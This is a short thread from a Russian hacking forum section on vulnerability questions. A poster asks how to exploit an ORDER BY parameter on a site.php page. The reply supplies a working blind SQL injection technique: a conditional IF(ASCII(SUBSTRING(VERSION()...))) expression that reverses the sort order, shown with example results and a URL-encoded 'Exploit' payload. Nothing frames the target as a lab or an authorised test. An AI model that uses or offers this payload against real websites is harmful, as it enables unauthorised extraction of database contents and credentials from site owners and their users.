Ваши вопросы по уязвимостям.

#11

10.10.2010, 18:40

Strilo4ka

Reservists Of Antichat - Level 6

Регистрация: 05.04.2009

Сообщений: 231

С нами: 9000386

Репутация: 1148

Цитата:

Сообщение от Malygos

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]SELECT username FROM users ORDER BY username[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]URL[/COLOR][COLOR="#007700"]][/COLOR][/COLOR]

Is it possible to inject this? I know it is not possible to do union all select.
site.php?orderby=ASC gives ascending and orderby=DESC gives descending.
site.php?orderby=,password gives same as ASC
site.php?orderby=limit 0,1 gives only first username.
site.php?orderby=ASC, 1 gives true (everything ok on site)
site.php?orderby=ASC, 0 gives false (content missing)
orderby=ASC, 1=2 gives true (wtf?)
Any help or way to inject this? Sorry for not speaking Russian!

Example, we have mysql5.

Цитата:

Сообщение от None

select username from users order by username
*(IF(ASCII(SUBSTRING(VERSION(),1,1))=53,1,-1))
1 user
2 user
3 user
4 user
select username from users order by username
*(IF(ASCII(SUBSTRING(VERSION(),1,1))=52,1,-1))
4 user
3 user
2 user
1 user

Код:

Exploit:

site.php?orderby=%2A%28IF%28ASCII%28SUBSTRING%28VERSION%28%29%2C1%2C1%29%29%3D53%2C1%2C-1%29%29%0D%0A -> true

site.php?orderby=%2A%28IF%28ASCII%28SUBSTRING%28VERSION%28%29%2C1%2C1%29%29%3D52%2C1%2C-1%29%29 -> false